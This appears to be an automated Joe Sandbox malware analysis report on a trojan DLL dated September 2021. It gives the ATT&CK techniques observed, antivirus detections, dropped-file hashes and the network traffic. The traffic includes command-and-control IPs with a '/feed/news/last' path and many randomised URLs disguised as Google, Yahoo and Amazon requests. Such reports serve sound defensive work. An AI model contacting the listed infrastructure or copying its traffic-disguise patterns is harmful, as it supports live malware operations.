Domain Accounts	At (Linux)	Logon Script (Windows)	Application Shimming1	Process Injection611	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Virtualization/Sandbox Evasion131	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Regsvr321	LSA Secrets	Remote System Discovery11	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Rundll321	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery212	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
TWsmIoYqC6.dll	4%	Virustotal		Browse
TWsmIoYqC6.dll	4%	ReversingLabs	Win64.Trojan.Sdum

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
29.2.svchost.exe.7ff70d6e0000.0.unpack	100%	Avira	HEUR/AGEN.1142239	Download File
24.2.svchost.exe.7ff70d6e0000.0.unpack	100%	Avira	HEUR/AGEN.1142239	Download File
29.0.svchost.exe.7ff70d6e0000.0.unpack	100%	Avira	HEUR/AGEN.1142239	Download File
24.0.svchost.exe.7ff70d6e0000.0.unpack	100%	Avira	HEUR/AGEN.1142239	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://161.35.29.127/feed/news/last	1%	Virustotal		Browse
https://161.35.29.127/feed/news/last	0%	Avira URL Cloud	safe
https://btloader.com/tag?o=6208086025961472&upapi=true	0%	URL Reputation	safe
https://ad-delivery.net/px.gif?ch=1&e=0.071014012951503	0%	Avira URL Cloud	safe
https://161.35.19.83/feed/news/last	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
contextual.media.net	23.211.6.95	true	false	high
new-fp-shed.wg1.b.yahoo.com	87.248.100.216	true	false	high
dart.l.doubleclick.net	142.250.186.70	true	false	high
myexternalip.com	34.117.59.81	true	false	high
hblg.media.net	23.211.6.95	true	false	high
lg3.media.net	23.211.6.95	true	false	high
btloader.com	172.67.70.134	true	false	high
www.google.com	142.250.185.196	true	false	high
www-amazon-com.customer.fastly.net	162.219.225.118	true	false	high
geolocation.onetrust.com	104.20.184.68	true	false	high
ad-delivery.net	104.26.2.70	true	false	high
www.msn.com	unknown	unknown	false	high
ad.doubleclick.net	unknown	unknown	false	high
srtb.msn.com	unknown	unknown	false	high
www.yahoo.com	unknown	unknown	false	high
www.amazon.com	unknown	unknown	false	high
web.vortex.data.msn.com	unknown	unknown	false	high
cvision.media.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.yahoo.com/rw6fibQdwKcmdvsetfommtz0RqCEbeuyoqtwqf/	false		high
https://www.google.com/rbwHu5Shjkeuvkuf8oTaqc6z7g/	false		high
https://www.google.com/cJi7l2WpuslUuvebbed6plxm5tJ3xFI1qmy057/7olYdv5idu2fwz6Raz2Hvv/hdReuPwq6CvywwkkicnRW4lztwnhjXz5ro4yl1qhtzdl/bIphet38vbf77s4it16v6mCFkgvh1w8Mdho/	false		high
https://www.google.com/mf3Lduswpvy6SPzcbmxwaljG67qoj6c6j19gg7OkmA/	false		high
https://www.yahoo.com/5qxze318lf75pclBusixiz0cIJekccl8A420oA6u8whnw/2Rry2xqwlEVsiF64tpe3Rhov4wb8Wp79ttm2ear/mmzonv1a1lSYpfwxiShcLMzxXkgV1xigzSt/nw4k7ndygbbqw1b7szc67jc/wa5R7hLnhtfuUhwf9nx0aq44at42bKhqiblc/	false		high
https://www.yahoo.com/5plLtfbxrypimafaskbytFsHook1t3a0niuf/9643mz8cS6tdi7lgaabHevS46jibczkl8vdanMpodf3a/n1m1wNIspi2miN7Cukulmaneulmuqsn5/ewwL01YUYovls3aHyl/msM3dhGsffzncwxmlazIyjC4i67xsa4slkl0Olj/	false		high
https://www.yahoo.com/eTzWuluo4t9ooivcrPf6pe/mfk8smtmi383pV1mgvtvvyMFadOMYjFl/	false		high
https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location	false		high
https://www.yahoo.com/ce8pX23qvo5mlqEd8ov9wwze1sudj/b6lmlqa2d1zarfp3ae1/Xnveev4mckesKzXGtKzdgje8s/	false		high
https://161.35.29.127/feed/news/last	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.yahoo.com/7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4/TeUgkJogtjcjbE2aJ/u42duX140H2p5wgwScoit8ophha0exc9f3u/	false		high
https://www.amazon.com/kt8rj5729zg8dcKdUobze7/	false		high
https://www.amazon.com/c5ClawVDu9Jvlhxm51dvteg6c34r1CUsjvh77oocuAYti/	false		high
https://www.google.com/eXJT8urr30tgdbjfmfgNgi0hwBfp7bb/izprj0njylnwn6ciTs78oz1t24w5/qvUhaqTr45h302liS936mwVgcB0YP11vIxt24wqj/eKolr53Dc8p37o2dji9rfrph2imal0N/	false		high
https://www.yahoo.com/9GuwHdocm3fspOQm/t2uabxfli0f0td012eir4jwi96nGg/K7hwmewf5l8cfviyy1vd2i5gy63cdi9ffugGQ/ew3sBtaPestyioqyjvqkl2fgsef5ya5smp7m/y8soWU99l3Vztklaz0NfbzRdka186/	false		high
https://www.amazon.com/0iuwzt5jtaQjblntvBD34x94V1ez/eHtuwkg5a5xam9ddbw7V96jsatl/568llo9E5U8di66r6sy3rihuh6ioyuduFmxQo7Y/jOopq606qx6YN0i78uL9gXso/uZsq2Eotwg3eabbrf6qiYqsHek4gr11g26dn60i78ggbB4v/	false		high
https://www.google.com/adjnjgdn9fIrd9j0I5aoccowZcmxiqk6vqe59f43iD/6RDRkx66f96f1uxib2dMlk2Pdiilzif5Z5V0qla/ogqjkxmNRw1usrQQlTowwqI3if8rfvp9xikq9Doj8aV1W3va/sp3qirrfgtqivg3f310a6s1xi9zumR54oam9h6493p/	false		high
https://www.amazon.com/ykvO2qxxd1yrlYBh6thdoahFh4lqdfrtvmjvto/etkaqls8gar4Mt80oihaQs/pv3hVtHg9dl7ngNph7qizd0i5bca6um0Er7fo/wYvKfbybg6k2x5ifkeDucmyLzraotIah4yeoBBkKna/gyszrjpSljYd3na69b3l4m8x2l11G7yPSIBk6lqxj/	false		high
https://www.google.com/9fJqxvunMcr0CrodzgHgn7yJjExdfatlIfkgtffhhn/YI6s7vlc464uSsu4blv/Sb5c5QaBsOobo8fjcd59Jvg4l59fnpo480urDR/gQrBojyein48d5zluzz9lflxdp3I45yQut6S2le0Gfie/	false		high
https://www.amazon.com/ly30h9u0yrnbcne3gh/5uhvH6rsX0H6Ort7h9f2Kk8gUKz8Vjn/rccOf0uquugl4aQ9ttsh5l100sqKiUmoU2A9/	false		high
https://www.google.com/64a3nBqsi0d4zgksf85agYb7tH7n44iNQ1y/10weq4tM0omeux533w8vkeebOb7c2thklxw8z0iq5epR3yV5/b4zf22YrziqsjruIqqeeghjtby04G2QbtolfzGe/	false		high
https://www.yahoo.com/gp1mx3dnqvlii3z8e4ds3flqlze00ff03/kqyazm22ncy02xhvluwaGOi/4gk2n6ADimqokv8wNbzcBhmC/jkg8Pd2n7Qiqfkp1mwDbmx5lbwT9nIp5pwwvoo6V/2A99jM0yPjwq9a3uyplpmlJzuXfFl7ghte/	false		high
https://www.google.com/0kwe30rMphmtjkotatbsS6filoatkf6XrLqawrupaq9hQam/	false		high
https://www.yahoo.com/ALgbzn5v54o9mLy2/D3sswzdzd0Zg26O6cT4ftm9bsgl6g9clzb/6qml9yxj2pVRh1gsm5ms1fd6wezX6Li8tI/	false		high
https://www.amazon.com/n5d35x62wrKVqpbTbsyV7bDux5zg462fhuulkey7Ny/nu4qWV5IvP2p22Yeb6iWmf1fm4poc0dpToemhbsoKc4K87/	false		high
https://www.google.com/gslielaqto24df8l83m/0jGst3i6n6fg13MJ/4bceiqRm2r87ycpn1u8y9ssKwmwt6uzkhzatBus6kg58Fw/dzeTx1tygqak07knjYfblpqae04Cd2sdsqx3urO3wgmK/drfZvmojkfLh4FdUghS4u25uuevdslz/	false		high
https://www.amazon.com/kbnm45xk0M7qatqqIx35qkJicweigo/	false		high
https://www.yahoo.com/fbxa75FaGsf4japtkVc63l567ux59Tmg9gGVZdkq4b4mpvva/aaiQlj7pvwbqosjizkzMdMO36pfgo5Reqy6qmchRDby/jwaicOa1fpr4i1uVc4fhoLcqe48iZ44kzekpQk/t4yh55adnnybrolX6mcjho9vOb8q6evq6bqh6hs1hsadn4C/	false		high
https://www.amazon.com/2pch5QEmrLw3xzJnnrzlGa5irLxuivFs/ltMi7hhX5tt4vs3rSp9duhmj/z88857flzovnw1O25vzu/y10gyol724X6l1bgprz0jref1Eq2ggRYdM0f7h/mdwb6lxX3n2on6rC6t5yv1/	false		high
https://www.google.com/vuKkY208Vdrn5v8g2vr8i5ifVj/enkwnjj0ihgc2sTh5qo58zU8pfa6/yfIz0cq71g991s62pv1rN0f6tGqi6r2su2/	false		high
https://www.google.com/8ibcfjcGeboixwKrb3iyFabdjtbLmv/zZ2nQm99Tn5okeb750Xjn7Jird53Dpinvo4w3K0dbc10k7n2/uTqmg0btwoxb7ij2i8zR8m3ga/	false		high
https://btloader.com/tag?o=6208086025961472&upapi=true	false	URL Reputation: safe	unknown
https://www.yahoo.com/0wmgim0Td84uqpWvzrgoDm/	false		high
https://www.yahoo.com/3pRpmnq8naqtfeVmyfv/l5nrmuqlfwddxUu77hkn3izm278644nsshk/H6uvs2jgz5moyoix6s3Z4oudpot87vw/	false		high
https://www.amazon.com/orbyj7P4wEdaicnsh6grcX1wVf0Otx0ZHg558e67TrdsyycJ/hh1fng7aCii8gri0gqfs61Pcvotdxular2lzerN/xoewvbs766suwyl9sqx2so0eS2xjsZW6hneruzfR/muchxeicbigiOlbdfmuV69og49u53h0Xtmxc1mCl8345yvj/	false		high
https://www.yahoo.com/GeCxeor0xk2eOn1u85uU39kv/20Nmne1j3m7spepr113v7LnkV0Z/lnl8supHr8f0c83pgea9A5Sus9x63zmcr/	false		high
https://www.yahoo.com/2za1gvjzin0ljAf92ufxxisidwpSVo231t8A/cp3sore10pishkmqffan5ka6z/	false		high
https://www.amazon.com/0CjjxynrhtAae0xqlSijX4NGmkVz4gcf4z5eegbwqsEMppa/gqIhlc9l4hm8gwOu/C26qV9wsw8sadnDugVon6prBj/	false		high
https://www.amazon.com/u75Pfq2dt3xK1b7dUjctykht8u6/G6voyzSs8XJz88sl5jBdTwfqU440qHp4uibd/hjJobBxzi2M5d1xwABJAlxkt/	false		high
https://www.yahoo.com/mv5d2ghb91jYux3rhfgUzspdpQ/nrdl3qvgju3ifqEhQsmfgwlvqpxjErohrn/8aj6zfdmkmm2lf5o8vjm8A6e0acvc16rig6/	false		high
https://www.amazon.com/Bllcs2iayVogzcpjjz/ko1mrpszv35M6i5cq8xioudL0qh5yZo2kfo8kadfz4R3hq2/KotyZh3e289wHuknSysiis2308hdZk62ss1c8/kqh4tm2n5muxb0xy5fe8o7r9vcolf/v27frxrHyr2Yg3bksUursX0om2m590ihdGwsn8J/	false		high
https://www.yahoo.com/b2YpY0vEhxawf6yh70/	false		high
https://www.yahoo.com/1he7n45hgqdN6Hete7vii3Bz0ipXe67z/8mg2j7fr87r6oelu1Ruh4reckhZ0geue9h16lumt2/g8bvtmAn0g2tsvjxcghmbpstytjBTk54/0dpi7rh6qvzwcnxrr/q570q0gjZ2j7e5lD/	false		high
https://www.amazon.com/K2pS9bLvkjoWxUjivvqkm8k5llv8r7c7wfNfdo6ofbo7/	false		high
https://www.yahoo.com/5l3jaIxgba3kjqfdt/jebbTjfk2VYpvNrziCj2hpbfrSvtgbQdI3n/1wuurx359k33reb5098jueXl5vxtdkl53w/2cXkOmjtpx8h0q8o90kWBv1v/a6wm55B7u5Crjhm8HitirHysMrnTkrgqaw9csluqh0pSMx/	false		high
https://www.yahoo.com/eAtiq6q23uzpfjnsva/q3xgjbji2c1D0csjhBdkai07oEncd5Ye9nkajur7/vs1170vtjt79fs2aj87jy2t5tyzm66Zp0viChousraf8/	false		high
https://www.amazon.com/xg1llsh0Rgzu31iKf7yydf/5yO9lyRofucQgjiB0v0kz37Ngn0eltx73Q/jy9maoh5WwcxS27itynf47s/kb9x3kpsfwfmyraAw73qk9kPfmwoVgGkUcxo/	false		high
https://www.amazon.com/mS7tcFv0menbltEqe10kZt3RTh6Tj0Nav6pSUjendz71/hi9rDa0avrg9vE2vmOgoWKm1tixc7dR82sfszmt61x7/7deyu5tr5jcJblnsxekBzocGe5s2F6/8xNe1ja2e1kelfr8nuh77e31l5/amNykIaxqqth8tpbrqeeq1ieDznmn4D/	false		high
https://www.google.com/qv3ia8eoIR2XnA4unvit9uMeHm9f8pwemSy6p4mfmu3rmgk4/or3iwef3yx9jXo4OpjFrd/v170ubNvro7cr5ppFA7y3zrb1i/	false		high
https://www.google.com/Nf3BeR1dvs73zpiul00tcpCos/5t19ynE0swdpm3BvhfcklqNnvW1ipuyn6TRC2e2rhjnn5ahx/a5afq4Z2g8xLmcypponB0ExM8f/qvvmxll8k7n0kyoxzrynms7sp5g0/	false		high
https://www.amazon.com/DooRtnT0UXembqa0298jih9Y99ak7fe6ur/ax5xkkSYd3274mqEek1u2/W6nyojyCe181sZyJ844dqc68aso/7aytu5fbzn0d2xue3fQnxos/	false		high
https://www.yahoo.com/bee595xzwjrurdT1L7zJ4suumRmpeqlGAsgb/hktc7sZqKowgs8bsiqn516jf0kyRg3nf4oBp/uswH14uVg3r5E7f6mdeem9plepu6gbr/	false		high
https://www.yahoo.com/rAYqlr7w2jOed6cqvhudH4V3fxry/sly7yksizcng2x2O2Hfhb/9XAcb6x8go6NeaaU/	false		high
https://www.yahoo.com/jxjvrx9b1Fkby3vtz096/rbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srWfo5p/	false		high
https://www.google.com/iZ84kk7wKe7gl6c18r5rganns38T7fair4IkVqutx/	false		high
https://ad-delivery.net/px.gif?ch=1&e=0.071014012951503	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/qvE8klae1oscwZofgUu1eoh6tadbdgqm5e6wac26/	false		high
https://161.35.19.83/feed/news/last	true	Avira URL Cloud: safe	unknown
https://www.google.com/Lmz3s5u51r8c0dm1i/	false		high
https://www.amazon.com/ruhmqj52my7pp86DzBjihfe/5Gas5ouavctnk1jk0e3Z1dmfpizvxcylrv5x6H14pkc/	false		high
https://www.google.com/mss4pspXhns23h7lEfLQ/	false		high
https://www.google.com/3frov56necHZygdOqdrUhoAismEs1uakucpxmmX3Vyiipsm/	false		high
https://www.yahoo.com/t68w4hdtscM8g0hDHS/jj2n2qbx9wLretb7Qpyjm1dT3jj4/Rkdpna500syortMyiFplX88cutl71rSf9lnsls1808mz/mthQ69c32jn9lA3vnvCbB9aqht/l93oNxuMn8nonoSf5k74ujq9hx07aopnjgu3YrOzozvk7x/	false		high
https://www.google.com/46a9ba02ytu2kmsJhkaaky7/b0z56KgpXahu6p36yzae/q37qs46stu4mk6qu1v67/tTzd73jbpgskp0nRu/	false		high
https://www.amazon.com/bq7Ud95l6an63q5Q5sm/lt2nrfw2J05ggd2xRlIuqbanbu2gmhjrrin424hhmaty31/akhfw7kpxR6HkDUyc18oa5mAJkp10xW7k7rgdV6489/92xZ434fmua8zJtxefxgl/vs7p5Jou32wQj1oYOlYkjhnaR/	false		high
https://myexternalip.com/raw	false		high
https://www.amazon.com/m8rM2d4vj3j9x4Qx74uJmsfakxiqfvWzaIr3GN31/	false		high
https://www.amazon.com/6u0kzsl7ryto97pk2xdn8o5s6ogbkqVFQ2Kv8K0Cw5ij/HYbuzkotCBtgM8H04tZ9djci5vofm01yh/	false		high
https://ad.doubleclick.net/favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250	false		high
https://www.amazon.com/hqeraaws8gtpR8De3rkjw3Um1/xtsgc6szpiyk2gVpshgml5kqua2hY64o8nkbkqr/vggQ8rU88h7xmTPqPhqgWv586j7shgp2uc5hAx/	false		high
https://www.amazon.com/bkS2zfojrloxax42q7ywl9NnxJz2Eth/FixcrDy0zK7eo0uh2qc1a/5neU64IDq7Ad4ivg6l4/	false		high
https://www.amazon.com/fJJ3UA0iD56hw4fc7Honei06tvsxn/ccfThcdvilys54e8a148Gptn9nheTa9/g573rv6FEFfCpsfbgqoSk8vwbdt0ebiLzb/upiTgp9rs63kY8eknUaMtd7nlf5e4o9vb1p2rQz9uq/np3oikgtofsrm43KrjbhDai54k2e70gIotgFq3jaw3a3g9v/	false		high
https://www.yahoo.com/8xnsjp0e26mtLcQ22sucoufkvdbm/	false		high
https://www.amazon.com/nnq2n2tsj68tcR2D6wEn4s7HCl7lqD/qt8Cnkw3e004m0bem4i2rksscshpKgcv2a0jy0o5vloN/	false		high
https://www.google.com/9Hhrz5mDbrn8Qrv6BhSyJu3i1bmvariZy941x0wnp/oumUiownvnB1p3zqdjXl3u72hsc5nbkN77b/zbgW6z9Uin15G7c5jr0cyeasu7qV3dc104wqjXchakt1d/ibksz5L9x2rkvfxc5k6evO3v/uiz5ke6ChX71rpTvub63jnhzzdjN5pnvq9YYonbas5w3q56f/	false		high
https://www.amazon.com/tkxfferfpm3thF8bGv79h6rt91Zd4v1f7nt258res8EsLaX/v5qW89nsymg9494OIlaa33R7HRtNj/bz9ziquIo962qAesq0hmd1etV04uzu/3cF4laudz1gn53Rla18nslt6g812/f54lw8nhDzyAzfuxlqbg2yai24a155lqhngsmh/	false		high
https://www.yahoo.com/iButv9s4rkH24tr3Gy9/bmznt9UJX8nzh5PnvFYjyb5m408iAPQiOvWw0kvK5iXqet5/	false		high
https://www.google.com/epmo7qZbPmqXfDGMjQibb/4u63rm5ZwhDwjsS72ioihcXB02q0yb5znrcAhkqn/niukNkhseiCa5pxbQJpl5sh3qjk8yzaWs3oz6gxrksdz91p/stpPyu3xk7f8saR9zt4U3HZTP0n2zncl6l/yned6fc0ZlgwgeUyfmmSx5d4lytj4Vtz0jy/	false		high
https://www.amazon.com/c2nytzC18hFezq36jar1p2H/59yohiItuuk6oUi2bdmah2q/vd2Usd1ozgteagwbo2ut2qXr6Kbcix00/x7JOzsfCn6Xvj95r/	false		high
https://www.amazon.com/dfh70Ikmus9kISy0xhFZx4F2r/rm0qwWcvd7sj5jwC0o3onb9eajcn4u1cw1r51c53c8/	false		high
https://www.google.com/ny27jAIfVJqrtqtrH9b7ewok3E8f/qtsuvwxsbVqerYQpr6aw50WmcQ/	false		high
https://www.google.com/p4ieaqEqbwAstfnrvwzi8QHdf1ufk1usi/	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.2.70	ad-delivery.net	United States	13335	CLOUDFLARENETUS	false
34.117.59.81	myexternalip.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
162.219.225.118	www-amazon-com.customer.fastly.net	United States	15108	ALLO-COMMUS	false
104.20.184.68	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
161.35.29.127	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
172.67.70.134	btloader.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.70	dart.l.doubleclick.net	United States	15169	GOOGLEUS	false
161.35.19.83	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
87.248.100.216	new-fp-shed.wg1.b.yahoo.com	United Kingdom	34010	YAHOO-IRDGB	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	492040
Start date:	28.09.2021
Start time:	09:51:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	TWsmIoYqC6.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.spyw.evad.winDLL@67/122@16/10
EGA Information:	Failed
HDC Information:	Successful, ratio: 93.1% (good quality ratio 74.4%) Quality average: 56.6% Quality standard deviation: 37.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 58 Number of non-executed functions: 161
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 51.11.168.232, 20.199.120.151, 23.211.5.146, 23.211.6.115, 20.199.120.182, 23.203.80.193, 131.253.33.203, 131.253.33.200, 13.107.22.200, 80.67.82.240, 80.67.82.209, 65.55.44.109, 23.211.6.95, 204.79.197.203, 20.199.120.85, 20.82.209.183, 152.199.19.161, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179, 23.211.5.61, 23.211.5.92, 173.222.108.226, 173.222.108.210, 204.79.197.200, 13.107.21.200, 23.203.67.116, 23.203.69.124, 20.82.210.154, 80.67.82.211, 80.67.82.235, 20.190.160.2, 20.190.160.134, 20.190.160.71, 20.190.160.67, 20.190.160.136, 20.190.160.69, 20.190.160.8, 20.190.160.129, 13.89.179.12, 20.189.173.22, 52.168.117.173, 104.208.16.94, 20.189.173.21, 20.54.110.249 Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, e13678.dscb.akamaiedge.net, www.tm.lg.prod.aadmsa.akadns.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, onedsblobprdcus17.centralus.cloudapp.azure.com, cdn.onenote.net.edgekey.net, e11290.dspg.akamaiedge.net, www.microsoft.com-c-3.edgekey.net, wildcard.weather.microsoft.com.edgekey.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com, www.bing.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, cvision.media.net.edgekey.net, www.amazon.com.edgekey.net, www.tm.a.prd.aadg.akadns.net, a1999.dscg2.akamai.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, web.vortex.data.trafficmanager.net, settingsfd-geo.trafficmanager.net, dual-a-0001.dc-msedge.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, e1553.dspg.akamaiedge.net, cs9.wpc.v0cdn.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, e15316.a.akamaiedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, a-0003.dc-msedge.net, e15275.g.akamaiedge.net, a1449.dscg2.akamai.net, storeedgefd.xbetservices.akadns.net, arc.msn.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, storeedgefd.dsx.mp.microsoft.com, client.wns.windows.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, ie9comview.vo.msecnd.net, a-0003.a-msedge.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, tile-service.weather.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, www-msn-com.a-0003.a-msedge.net, e607.d.akamaiedge.net, login.msa.msidentity.com, web.vortex.data.microsoft.com, download.windowsupdate.com.edgesuite.net, a-0001.a-afdentry.net.trafficmanager.net, icePrime.a-0003.dc-msedge.net, go.microsoft.com.edgekey.net, static-global-s-msn-com.akamaized.net, e16646.dscg.akamaiedge.net, microsoft.com, www.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:53:13	API Interceptor	157x Sleep call for process: rundll32.exe modified
09:53:36	API Interceptor	120x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\EZ5F301D\www.msn[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.1549521629664525
Encrypted:	false
SSDEEP:	3:D90aK1ryRtFwsx6wmxvFuqLHIfwEYPJGX7T40AAet6XTUvX8qSiwKb:JFK1rUFkduqswEkIXH40AAeQDUvIOb
MD5:	A5CCD5A73CF710160863CB8D0758C38E
SHA1:	0637BC5EA0DB0B04BD977C87E9F2C89B03F19490
SHA-256:	CC850CD0B6C9A5E16063A7B09501446FFF4A3D791CBFD130247F2922EDD53347
SHA-512:	781DE6CBB57AC61E36624B37617BB992E577922BD1D8F73FE46A31A5B773039F0264883309DAF11C3AD277244F3C25553859AADD340F36CD3B1BDFA815DD3A74
Malicious:	false
Reputation:	unknown
Preview:	<root></root><root><item name="BT_AA_DETECTION" value="{"ab":false,"acceptable":true}" ltime="1105261792" htime="30913673" /></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\U6Q9DNZ4\contextual.media[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2988
Entropy (8bit):	4.920093959451645
Encrypted:	false
SSDEEP:	48:0d7d7d7d7L7LJ7L7LY7L764767647a7a7atj6j7atX6Z7atX6Z7atX6Z7atX6Z7C:Qxxx33J33Y3O4OO4WWWtj6jWtX6ZWtX7
MD5:	F9639D678E479BFEAC76519A4894C997
SHA1:	29531FC92B12751E59986983BC0BAE1269416F5E
SHA-256:	F7261927EF250A938AE8F8958517583F9B5EE08D8D2D347F254B69AEE6FCC68E
SHA-512:	03E7C7B8D9AC92AF4B3299E648F6847BFD500FBCAB8965D2FDDA12A198A3D55ACBB72885F970838E13AF33CB2F3A37E363B4F2EC5BC477C35B268F0C10F5D1F5
Malicious:	false
Reputation:	unknown
Preview:	<root></root><root></root><root><item name="HBCM_BIDS" value="{}" ltime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1082261792" htime="30913673" /><item name="mntest" value="mntest" ltime="1082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1082261792" htime="30913673" /><item name="mntest" value="mntest" ltime="1085261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1088741792" htim

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{79FEA630-207C-11EC-90E9-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	24152
